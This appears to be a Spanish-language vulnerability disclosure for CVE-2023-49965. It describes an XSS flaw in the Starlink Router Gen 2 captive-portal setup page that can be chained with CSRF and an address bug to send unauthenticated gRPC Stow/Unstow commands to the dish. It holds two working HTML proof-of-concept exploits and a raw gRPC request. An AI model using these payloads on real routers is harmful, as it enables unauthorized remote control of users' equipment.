yoshida-git-ai/spacex-starlink-router-gen-2-xssCVE-2023-49965 | SpaceX / Starlink Router Gen 2 XSS
Puedes ver la versión coreana del artículo aquí :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
Una vulnerabilidad de Cross-Site Scripting (XSS) en la página inicial del captive portal del enrutador de segunda generación podría permitir a un atacante tomar el control del router y de Dishy.
La vulnerabilidad es causada por un filtrado insuficiente de los valores de entrada para los parámetros ssid y password en la página de configuración inicial del enrutador (http://192.168.1.1/setup).
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
Esta vulnerabilidad de Cross-Site Scripting (XSS) puede ser aprovechada junto con un ataque de Cross-Site Request Forgery (CSRF), como se muestra en la prueba de concepto anterior.
Normalmente, la página del captive portal solo debería estar activa en router's internal address, 192.168.1.1, pero había un error en enrutadores antiguos que permitía que la página del portal cautivo fuera accesible inesperadamente desde Dishy's internal address, 192.168.100.1.
http://192.168.1.1/setup → La página del portal cautivo se muestra correctamente.
http://192.168.100.1/setup → La página del portal cautivo también se muestra en esta dirección.
(Normalmente, el acceso a la página del portal cautivo no debería ser posible en la dirección interna de Dishy, 192.168.100.1.)
Utilizar este error junto con la vulnerabilidad Cross-Site Scripting (XSS) permite eludir la Same-Origin Policy (SOP) del navegador, permitiendo el control tanto del Router como de Dishy.
Se puede confirmar que la misma vulnerabilidad Cross-Site Scripting (XSS) ocurre también en la dirección http://192.168.100.1/setup.
Ahora veamos cómo puedo aprovechar estos errores para tomar control del Router y de Dishy.
Cuando se emite el comando Stow desde la interfaz de administrador, la siguiente Solicitud HTTP se envía a Dishy
(Nota: El comando Stow permite que la antena de Dishy se pliegue para su movimiento o almacenamiento.)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
El encabezado de esta Solicitud contiene varios datos importantes.
x-grpc-web: 1
Esto indica el uso del protocolo gRPC-Web.
(gRPC-Web es un protocolo que permite a los clientes web realizar llamadas gRPC a un servidor.)
content-type: application/grpc-web+proto
Significa que los datos transmitidos utilizan el protocolo gRPC y están codificados en el formato protobuf.
Request Body
Dishy Stow Request body (Hex)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
El cuerpo de la solicitud contiene datos en el formato grpc-web+proto, que probablemente contiene los detalles del comando Stow.
Juntando esta información, cuando un usuario emite un comando Stow usando la interfaz de administración, el comando se envía a Dishy a través de gRPC, lo que pliega Dishy a un estado portátil.
Sin embargo, si observas la solicitud, notarás que no hay autenticación para el usuario que la envía.
Esto significa que alguien que no sea administrador podría enviar la misma solicitud y tomar el control de Dishy sin autorización. Pero esta vulnerabilidad requiere que el atacante tenga acceso físico a la red local, lo que limita el alcance del ataque en comparación con ataques que pueden ocurrir de forma remota.
Si es así, podrías pensar que puedes intentar un ataque de Cross-Site Request Forgery (CSRF) con un payload que envíe la misma solicitud.
Si bien este es un escenario posible, la Same-Origin Policy (SOP) del navegador limita este ataque.
gRPC requiere un encabezado content-type específico llamado application/grpc-web+proto.
Sin embargo, la Same-Origin Policy (SOP) hace que los navegadores eliminen este encabezado al enviar solicitudes desde otras fuentes.
Esto hace imposible enviar solicitudes gRPC a Dishy desde el exterior en circunstancias normales.
Normalmente, una Same-Origin Policy (SOP) restringe a los navegadores web a realizar solicitudes desde fuentes diferentes.
Sin embargo, con una vulnerabilidad Cross-Site Scripting (XSS), un atacante puede ejecutar un script dentro del navegador web de la víctima.
Los scripts inyectados por un atacante usando una vulnerabilidad Cross-Site Scripting (XSS) se consideran ejecutados desde la misma fuente (es decir, el sitio web en el que se encuentra la víctima).
Debido a esto, la Same-Origin Policy (SOP) reconoce las solicitudes generadas por estos scripts como provenientes de la misma fuente, y por lo tanto las restricciones de la Same-Origin Policy (SOP) no se aplican en este caso.
Por lo tanto, en un ataque de Cross-Site Request Forgery (CSRF) que utiliza una vulnerabilidad Cross-Site Scripting (XSS) y que requiere un encabezado content-type específico, como una solicitud gRPC, debido a que el script de ataque se ejecuta dentro del navegador de la víctima, la solicitud se reconoce como legítima y se envía con este encabezado content-type específico.
Por ejemplo, encadenando un error en 192.168.100.1 y la vulnerabilidad Cross-Site Scripting (XSS), un atacante podría enviar un script malicioso para que el navegador de un usuario envíe una solicitud grpc para comandar el Router o Dishy. (El atacante podría enviar una variedad de solicitudes grpc, incluyendo los comandos Stow y Unstow de Dishy).
Por lo tanto, encadenando la vulnerabilidad Cross-Site Scripting (XSS) y el bug mencionado, se puede construir un payload que envíe una solicitud Stow gRPC a Dishy de la siguiente manera: (El resultado es que un atacante puede tomar el control remoto del router o de Dishy. Por ejemplo, podría enviar comandos grpc para cambiar la configuración del router o manipular la funcionalidad de Dishy.)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD )2023.48.0 y superiores)